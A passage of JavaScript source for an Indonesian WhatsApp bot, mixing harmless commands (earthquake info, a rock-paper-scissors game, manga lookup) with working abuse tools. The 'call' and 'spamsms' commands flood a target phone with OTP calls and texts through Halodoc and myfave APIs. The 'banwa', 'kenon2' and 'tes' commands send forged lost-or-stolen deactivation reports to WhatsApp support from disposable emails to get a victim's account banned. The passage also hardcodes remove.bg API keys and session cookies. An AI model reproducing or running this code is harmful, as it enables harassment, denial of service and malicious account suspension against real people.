reply(`Error`)
}
}
break
case 'infogempa': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let scrapy = require("node-scrapy")
const model = ['tr:nth-child(1) td']
fetch('https://www.bmkg.go.id/gempabumi/gempabumi-terkini.bmkg').then((res)
=> res.text()).then((body) => {
let result = scrapy.extract(body, model)
let waktu = result[1] || "Tidak ada data"
let lintang = result[2] || "Tidak ada data"
let bujur = result[3] || "Tidak ada data";
let magnitudo = result[4] || "Tidak ada data"
let kedalaman = result[5] || "Tidak ada data"
let lokasi = result[6] || "Tidak ada data"
const teks = `informasi gempa terbaru:\n\nWaktu: *${waktu}*\nBujur: *$
{bujur}*\nLintang: *${lintang}*\nMagnitudo: *${magnitudo}*\nKedalaman: *$
{kedalaman}*\nLokasi: *${lokasi}*`.trim()
reply(teks)
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'suitbot':
try {
if (!isRegister) return reply(mess.register)
var but = [{buttonId: `${prefix}sbatu`, buttonText: { displayText: "Batu ✊" }, type:
1 }, {buttonId: `${prefix}sgunting`, buttonText: { displayText: "Gunting " }, type:
1 }, {buttonId: `${prefix}skertas`, buttonText: { displayText: "Kertas ✋" }, type:
1 }]
var sutit = `*[ GAME SUIT ]*\n\nNOTE : *KAMU MEMILIKI 3 BUTTON DAN 3 KESEMPATAN
UNTUK MEMILIH ANTARA BATU GUNTING KERTAS*\n*JIKA KAMU MEMENANGKAN 3 KESEMPATAN
PERMAINAN BATU GUNTING KERTAS*\n*KAMU MENANG!!*`
dark.sendMessage(m.chat, { text: sutit, buttons: but, footer: "Pilih Button Di
Bawah\n\n- _Jika Kamu Pakai WhatsApp Mod Langsung Saja Ketik #sgunting, #sbatu,
#skertas_", templateButtons: but }, {quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'sbatu':
try {
const batu = [`Aku Memilih *Batu*\nKamu Memilih *Batu*\n\n!! KITA SERI !!`,`Aku
Memilih *Gunting*\nKamu Memilih *Batu*\n\n!! KAMU MENANG:( !!`,`Aku Memilih
*Kertas*\nKamu Memilih *Batu*\n\n!! AKU MENANG !!`]
const batuh = batu[Math.floor(Math.random() * batu.length)]
var batuh2 = `*[ GAME SUIT ]*\n\n${batuh}`
dark.sendMessage(m.chat, { text: batuh2 }, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'sgunting':
try {
const gunting = [`Aku Memilih *Batu*\nKamu Memilih *Gunting*\n\n!! AKU MENANG !!
`,`Aku Memilih *Gunting*\nKamu Memilih *Gunting*\n\n!! KITA SERI !!`,`Aku Memilih
*Kertas*\nKamu Memilih *Gunting*\n\n!! KAMU MENANG :( !!`]
const guntingh = gunting[Math.floor(Math.random() * gunting.length)]
var guntingh2 = `*[ GAME SUIT ]*\n\n${guntingh}`
dark.sendMessage(m.chat, { text: guntingh2 }, { quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'skertas':
try {
const kertas = [`Aku Memilih *Batu*\nKamu Memilih *Kertas*\n\n!! KAMU MENANG :( !!
`,`Aku Memilih *Gunting*\nKamu Memilih *Kertas*\n\n!! KAMU KALAH !!`,`Aku Memilih
*Kertas*\nKamu Memilih *Kertas*\n\n!! KITA SERI !!`]
const kertash = kertas[Math.floor(Math.random() * kertas.length)]
var kertash2 = `*[ GAME SUIT ]*\n\n${kertash}`
dark.sendMessage(m.chat, { text: kertash2 }, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'suitpvp': case 'suit': {
try {
if (!isRegister) return reply(mess.register)
this.suit = this.suit ? this.suit : {}
let poin = 10
let poin_lose = 10
let timeout = 60000
if (Object.values(this.suit).find(roof => roof.id.startsWith('suit') && [roof.p,
roof.p2].includes(m.sender))) reply(`Selesaikan suit mu yang sebelumnya`)
if (m.mentionedJid[0] === m.sender) return reply(`Tidak bisa bermain dengan diri
sendiri !`)
if (!m.mentionedJid[0]) return reply(`_Siapa yang ingin kamu tantang?_\nTag
orangnya..\n\nContoh : ${prefix}suit @${sender.split("@")[0]}`)
if (Object.values(this.suit).find(roof => roof.id.startsWith('suit') && [roof.p,
roof.p2].includes(m.mentionedJid[0]))) return reply( `Orang yang kamu tantang
sedang bermain suit bersama orang lain :(`)
let id = 'suit_' + new Date() * 1
let caption = `_*SUIT PvP*_

@${m.sender.split`@`[0]} menantang @${m.mentionedJid[0].split`@`[0]} untuk bermain


suit

Silahkan @${m.mentionedJid[0].split`@`[0]} untuk ketik terima/tolak`


this.suit[id] = {
chat: await dark.sendText(m.chat, caption, m, { mentions: parseMention(caption) }),
id: id,
p: m.sender,
p2: m.mentionedJid[0],
status: 'wait',
waktu: setTimeout(() => {
if (this.suit[id]) dark.sendText(m.chat, `_Waktu suit habis_`, m)
delete this.suit[id]
}, 60000), poin, poin_lose, timeout
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'nsfw': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
anu = await fetchJson(`https://waifu.pics/api/nsfw/waifu`)
buffer = await getBuffer(anu.url)
dark.sendMessage(m.chat, { image: buffer, caption: `Nih`, footer: 'This Is Simple
WhatsApp Bot'}, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'sfw': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
anu = await fetchJson(`https://waifu.pics/api/sfw/waifu`)
buffer = await getBuffer(anu.url)
dark.sendMessage(m.chat, { image: buffer, caption: `Nih`, footer: 'This Is Simple
WhatsApp Bot'}, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'manga':
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
const { Manga } =require("@shineiichijo/marika")

const manga = new Manga();

if(!q) return reply(`Manga apa yg kamu cari??\nExample ${prefix}manga naruto`)


let srh = await manga.searchManga(q)
let mang = `• *Title: ${srh.data[0].title}*\n`;
mang += `• *Status: ${srh.data[0].status}*\n`;
mang += `• *Total Volumes: ${srh.data[0].volumes}*\n`;
mang += `• *Total Chapters: ${srh.data[0].chapters}*\n`;
mang += `• *Genres:*\n`;
for (let i = 0; i < srh.data[0].genres.length; i++) {
mang += `\t\t\t\t\t\t\t\t*${srh.data[0].genres[i].name}*\n`;
}
mang += `• *Published on: ${srh.data[0].published.from}*\n`;
mang += `• *Score: ${srh.data[0].scored}*\n`;
mang += `• *Popularity: ${srh.data[0].popularity}*\n`;
mang += `• *Favorites: ${srh.data[0].favorites}*\n`;
mang += `• *Authors:*\n`;
for (let i = 0; i < srh.data[0].authors.length; i++) {
mang += `\t\t\t\t\t\t\t\t\t*${srh.data[0].authors[i].name}* *($
{srh.data[0].authors[0].type})*\n`;
}
mang += `\n• *URL: ${srh.data[0].url}*\n\n`;
if (srh.data[0].background !== null)
mang += `• *Background:* ${srh.data[0].background}`;
mang += `• *Description:* ${srh.data[0].synopsis.replace(
/\[Written by MAL Rewrite]/g,
""
)}`;
dark.sendMessage(m.chat,{image:
{url:srh.data[0].images.jpg.large_image_url},caption:mang},{quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'infobot':
try {
if (!isRegister) return reply(mess.register)
let anubb = await store.chats.all().filter(v => v.id.endsWith('.net')).map(v =>
v.id)

let anubbgc = await store.chats.all().filter(v => v.id.endsWith('@g.us')).map(v =>


v.id)

reply(`友 Namabot : *Dark Botz MD*


友 Platform : *${os.platform()}*
友 Host name : *${os.hostname()}*
友 Wa Version : 2.23.1.76
友 List Private Chat : *${anubb.length}*
友 List Group : *${anubbgc.length}*
友 Listban : *${banned.length}*
`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'clone-number': case 'get-otp': case 'verify-otp': case 'login': case 'out':
case 'resend-otp': case 'set-pin': case 'reset-pin': case 'set-email': case 'reset-
email':{
reply(`Lu Siapa Kocak`)
}
break
case 'imagenobg': case 'removebg': case 'remove-bg': {
try {
if (!isRegister) return reply(mess.register)
if (!quoted) throw reply(`Kirim/Reply Image Dengan Caption ${prefix + command}`)
if (!/image/.test(mime)) throw reply(`Kirim/Reply Image Dengan Caption ${prefix +
command}`)
if (/webp/.test(mime)) throw reply(`Kirim/Reply Image Dengan Caption ${prefix +
command}`)
let remobg = require('remove.bg')
let apirnobg =
['q61faXzzR5zNU6cvcrwtUkRU','S258diZhcuFJooAtHTaPEn4T','5LjfCVAp4vVNYiTjq9mXJWHF','
aT7ibfUsGSwFyjaPZ9eoJc61','BY63t7Vx2tS68YZFY6AJ4HHF','5Gdq1sSWSeyZzPMHqz7ENfi8','86
h6d6u4AXrst4BVMD9dzdGZ','xp8pSDavAgfE5XScqXo9UKHF','dWbCoCb3TacCP93imNEcPxcL']
let apinobg = apirnobg[Math.floor(Math.random() * apirnobg.length)]
hmm = await './src/remobg-'+getRandom('')
localFile = await dark.downloadAndSaveMediaMessage(quoted, hmm)
outputFile = await './src/hremo-'+getRandom('.png')
reply(mess.wait)
remobg.removeBackgroundFromImageFile({
path: localFile,
apiKey: apinobg,
size: "regular",
type: "auto",
scale: "100%",
outputFile
}).then(async result => {
dark.sendMessage(m.chat, {image: fs.readFileSync(outputFile), caption: `Nih`},
{ quoted : m })
await fs.unlinkSync(localFile)
await fs.unlinkSync(outputFile)
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'dellist': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
if (db_respon_list.length === 0) return reply(`Belum ada list message di database`)
if (!q) return reply(`Gunakan dengan cara ${command} *key*\n\n_Contoh_\n\n$
{command} hello`)
if (!isAlreadyResponList(from, q, db_respon_list)) return reply(`List respon dengan
key *${q}* tidak ada di database!`)
delResponList(from, q, db_respon_list)
reply(`Sukses delete list message dengan key *${q}*`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'join': {
if (!itsMedark) return reply(mess.owner)
if (!text) return reply(`Contoh ${prefix+command} linkgc`)
if (!isUrl(args[0]) && !args[0].includes('whatsapp.com')) return reply('Link
Invalid!')
let result = args[0].split('https://chat.whatsapp.com/')[1]
await dark.groupAcceptInvite(result).then((res) =>
reply(jsonformat(res))).catch((err) => reply(jsonformat(err)))
}
break
case 'addlist': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
var args1 = q.split("@")[0]
var args2 = q.split("@")[1]
if (!q.includes("@")) return reply(`Gunakan dengan cara ${command} *key@response*\
n\n_Contoh_\n\n.${command} tes@apa`)
if (isAlreadyResponList(from, args1, db_respon_list)) return reply(`List respon
dengan key : *${args1}* sudah ada di group ini.`)
addResponList(from, args1, args2, false, '-', db_respon_list)
reply(`Berhasil menambah List menu : *${args1}*`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'shop': case 'list': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
if (db_respon_list.length === 0) return reply(`Belum ada list message di database`)
if (!isAlreadyResponListGroup(from, db_respon_list)) return reply(`Belum ada list
message yang terdaftar di group ini`)
var arr_rows = [];
for (let x of db_respon_list) {
if (x.id === from) {
arr_rows.push({
title: x.key,
rowId: x.key
})
}
}
var listMsg = {
text: `Hi @${sender.split("@")[0]}`,
buttonText: 'Click Here',
footer: `*List Database*`,
mentions: [sender],
sections: [{
title: 'List Database', rows: arr_rows
}]
}
dark.sendMessage(from, listMsg)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'addprem':
try {
if (!itsMedark) return reply(mess.owner)
if (!args[0]) return reply(`Penggunaan ${prefix+command} nomor\nContoh $
{prefix+command} 6285807264974`)
prrkek = q.split("|")[0].replace(/[^0-9]/g, '')+`@s.whatsapp.net`
let ceknya = await dark.onWhatsApp(prrkek)
if (ceknya.length == 0) return reply(`Masukkan Nomor Yang Valid Dan Terdaftar Di
WhatsApp!!!`)
prem.push(prrkek)
fs.writeFileSync('./database/premium.json', JSON.stringify(prem))
reply(`Nomor ${prrkek} Telah Menjadi Premium!`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'delprem':
try {
if (!itsMedark) return reply(mess.owner)
if (!args[0]) return reply(`Penggunaan ${prefix+command} nomor\nContoh $
{prefix+command} 6285807264974`)
ya = q.split("|")[0].replace(/[^0-9]/g, '')+`@s.whatsapp.net`
unp = prem.indexOf(ya)
prem.splice(unp, 1)
fs.writeFileSync('./database/premium.json', JSON.stringify(prem))
reply(`Nomor ${ya} Telah Di Hapus Premium!`)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'listprem':
try {
if (!isRegister) return reply(mess.register)
teks = '*List Premium*\n\n'
for (let dark of prem) {
teks += `- ${dark}\n`
}
teks += `\n*Total : ${prem.length}*`
dark.sendMessage(m.chat, { text: teks.trim() }, 'extendedTextMessage', { quoted: m,
contextInfo: { "mentionedJid": prem } })
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'speedtest': {
try {
if (!isRegister) return reply(mess.register)
reply('Testing Speed...')
let cp = require('child_process')
let { promisify } = require('util')
let exec = promisify(cp.exec).bind(cp)
let o
try {
o = await exec('python3 speed.py')
} catch (e) {
o = e
} finally {
let { stdout, stderr } = o
if (stdout.trim()) reply(stdout)
if (stderr.trim()) reply(stderr)
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'call': {
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
if (!args[0]) return reply(`Penggunaan ${prefix+command} nomor\nContoh $
{prefix+command} +6281214281312`)
let nosend = "+" + text.split("|")[0].replace(/[^0-9]/g, '')
if (args[0].startsWith(`+6285870808160`)) return reply('Tidak bisa call ke nomor
ini!')
axios.post('https://magneto.api.halodoc.com/api/v1/users/authentication/otp/
requests',{'phone_number':`${nosend}`,'channel': 'voice'},{headers: {'authority':
'magneto.api.halodoc.com','accept-language': 'id,en;q=0.9,en-GB;q=0.8,en-
US;q=0.7','cookie': '_gcl_au=1.1.1860823839.1661903409;
_ga=GA1.2.508329863.1661903409; afUserId=52293775-f4c9-4ce2-9002-5137c5a1ed24-p;
XSRF-
TOKEN=12D59ACD8AA0B88A7ACE05BB574FAF8955D23DBA28E8EE54F30BCB106413A89C1752BA30DC063
940ED30A599C055CC810636; _gid=GA1.2.798137486.1664887110;
ab.storage.deviceId.1cc23a4b-a089-4f67-acbf-d4683ecd0ae7=%7B%22g%22%3A%2218bb4559-
2170-9c14-ddcd-2dc80d13c3e3%22%2C%22c%22%3A1656491802961%2C%22l
%22%3A1664887110254%7D;
amp_394863=nZm2vDUbDAvSia6NQPaGum...1gehg2efd.1gehg3c19.f.0.f;
ab.storage.sessionId.1cc23a4b-a089-4f67-acbf-d4683ecd0ae7=%7B%22g%22%3A%22f1b09ad8-
a7d9-16f3-eb99-a97ba52677d2%22%2C%22e%22%3A1664888940400%2C%22c
%22%3A1664887110252%2C%22l%22%3A1664887140400%7D','origin':
'https://www.halodoc.com','sec-ch-ua': '"Microsoft Edge";v="105",
"Not)A;Brand";v="8", "Chromium";v="105"','sec-ch-ua-mobile': '?0','sec-ch-ua-
platform': '"Windows"','sec-fetch-dest': 'empty','sec-fetch-mode': 'cors','sec-
fetch-site': 'same-site','user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Edg/105.0.1343.53','x-xsrf-token':
'12D59ACD8AA0B88A7ACE05BB574FAF8955D23DBA28E8EE54F30BCB106413A89C1752BA30DC063940ED
30A599C055CC810636'}}).then(function (response) {reply(`$
{JSON.stringify(response.data, null, 2)}`)}).catch(function (error) {reply(`$
{JSON.stringify(error, null, 2)}`)})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'spamsms': {
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (m.quoted || text) {
if (froms.startsWith('08')) return reply('Awali nomor dengan +62')
if (froms == ownerNumber) return reply('Tidak bisa spam ke nomor ini!')
let nosms = '+' + froms.replace('@s.whatsapp.net', '')
let mal = ["Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v7108827108815046027
t6205049005192687891", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0
v1692361810532096513 t9071033982482470646", "Mozilla/5.0 (X11; Ubuntu; Linux
x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
RuxitSynthetic/1.0 v4466439914708508420 t8068951106021062059", "Mozilla/5.0 (X11;
Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87
Safari/537.36 RuxitSynthetic/1.0 v8880767681151577953 t8052286838287810618",
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/78.0.3904.108 Safari/537.36 RuxitSynthetic/1.0 v6215776200348075665
t6662866128547677118", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0
v1588190262877692089 t2919217341348717815", "Mozilla/5.0 (X11; Ubuntu; Linux
x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
RuxitSynthetic/1.0 v5330150654511677032 t9071033982482470646", "Mozilla/5.0 (Linux;
Android 10; M2006C3LG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101
Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 10; M2006C3LG)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 11; vivo 2007) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/96.0.4664.45 Mobile Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36"]
let ua = mal[Math.floor(Math.random() * mal.length)];
let axios = require('axios').default;
let hd = {
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/58.0.3029.110 Safari/537.3'
};
const dat = {
'phone': nosms
};
for (let x = 0; x < 100; x++) {
axios.post('https://api.myfave.com/api/fave/v1/auth', dat, {
headers: hd
}).then(res => {
console.log(res);
}).catch(err => {
console.log(`[${new Date().toLocaleTimeString()}] Spam (SMS) BY Wangsaff.xyz`);
});
}
} else reply(`Penggunaan spamsms nomor/reply pesan target*\nContoh spamsms
+6281214281312`)
m.reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tes':{
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/?subject=messenger")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1000")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "articles")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Olá festas do WhatsApp, redefinir minha conta")
form.append("step", "submit")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19595.BP:whatsapp_www_pkg.2.0..0.0")
form.append("dpr", "3")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1008288139")
form.append("__comment_req", "0")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
dark.sendMessage(m.chat, { text: util.format(res.data)}, {quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'banwa':{
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if(!q.startsWith("8")) return reply("masukan nomer dengan benar 8xxxxxx")
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Verloren/gestohlen: Bitte deaktivieren Sie mein
Konto")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "2")
form.append("__hs", "19592.BP:whatsapp_www_pkg.2.0..0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1008211241")
form.append("__comment_req", "0")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
dark.sendMessage(m.chat, { text: util.format(res.data)}, {quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'banwa2':{
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if(!q.startsWith("+")) return reply("masukan kode negara contoh +1")
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=1")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "CA")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", "Verloren/gestohlen: Bitte deaktivieren Sie mein
Konto")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1007735016")
form.append("__comment_req", "0")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
dark.sendMessage(m.chat, { text: util.format(res.data)}, {quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'unbanwa2':{

try {

if (!isRegister) return reply(mess.register)


if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)

if(!q.startsWith("+")) return reply("masukan kode negara contoh +62")

var axioss = require ("axios")

let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")

let email = await axioss.get("https://www.1secmail.com/api/v1/?


action=genRandomMailbox&count=1")

let cookie = ntah.headers["set-cookie"].join("; ")

let $ = cheerio.load(ntah.data)

let $form = $("form");

let url = new URL($form.attr("action"), "https://www.whatsapp.com").href

let form = new URLSearchParams()

form.append("jazoest", $form.find("input[name=jazoest]").val())

form.append("lsd", $form.find("input[name=lsd]").val())

form.append("step", "submit")

form.append("country_selector", "ID")

form.append("phone_number", q)

form.append("email", email.data[0])

form.append("email_confirm", email.data[0])

form.append("platform", "ANDROID")

form.append("your_message", "Perdido/Roubado: Ativar minha conta")

form.append("__user", "0")

form.append("__a", "1")
form.append("__csr", "")

form.append("__req", "8")

form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0")

form.append("dpr", "1")

form.append("__ccg", "UNKNOWN")

form.append("__rev", "1006630858")

form.append("__comment_req", "0")

let res = await axioss({

url,

method: "POST",

data: form,

headers: {

cookie

})

reply(util.format(JSON.parse(res.data.replace("for (;;);", ""))))

} catch (err) {

console.log(err)

reply(`Error`)

break
case 'unbanwa':{

try {

if (!isRegister) return reply(mess.register)


if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)

if(!q.startsWith("+")) return reply("masukan kode negara contoh +1")


var axioss = require ("axios")

let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")

let email = await axioss.get("https://www.1secmail.com/api/v1/?


action=genRandomMailbox&count=1")

let cookie = ntah.headers["set-cookie"].join("; ")

let $ = cheerio.load(ntah.data)

let $form = $("form");

let url = new URL($form.attr("action"), "https://www.whatsapp.com").href

let form = new URLSearchParams()

form.append("jazoest", $form.find("input[name=jazoest]").val())

form.append("lsd", $form.find("input[name=lsd]").val())

form.append("step", "submit")

form.append("country_selector", "CA")

form.append("phone_number", q)

form.append("email", email.data[0])

form.append("email_confirm", email.data[0])

form.append("platform", "ANDROID")

form.append("your_message", "Perdido/Roubado: Ativar minha conta")

form.append("__user", "0")

form.append("__a", "1")

form.append("__csr", "")

form.append("__req", "8")

form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0")

form.append("dpr", "1")

form.append("__ccg", "UNKNOWN")

form.append("__rev", "1006630858")

form.append("__comment_req", "0")

let res = await axioss({

url,

method: "POST",
data: form,

headers: {

cookie

})

reply(util.format(JSON.parse(res.data.replace("for (;;);", ""))))

} catch (err) {

console.log(err)

reply(`Error`)

break
case 'kenon2':{
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
if (froms == ownerNumber) return reply('Nomer Owner Itu Tolol!')
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return m.reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if(!q.startsWith("+")) return reply("masukan kode negara contoh +62")
var axioss = require ("axios")
let ntah = await axioss.get("https://www.whatsapp.com/contact/?
subject=messenger")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=10")
let cookie = ntah.headers["set-cookie"].join("; ")
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "ID")
form.append("phone_number", q)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "WHATS_APP_WEB_DESKTOP")
form.append("your_message", "Perdido/roubado: desative minha conta")
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19592.BP:whatsapp_www_pkg.2.0..0.0")
form.append("__hsi", "")
form.append("__s", "")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1008212757")
form.append("__dyn",
"7xe6E5aQ5E5ObwKBWo5O12wAxu13wqovzEdEc8uwdK0lW4o3Bw5VCwjE3awbG78b87C0yE5ufw5Zx61vw5
zwww6DwbO5o2Bwdq0Ho2ewnE3fw5rwSw4vwbS1Lw4Cwcq")
let res = await axioss({
url,
method: "POST",
data: form,
headers: {
cookie
}
})
reply(util.format(JSON.parse(res.data.replace("for (;;);", ""))))
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'kenon': {
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
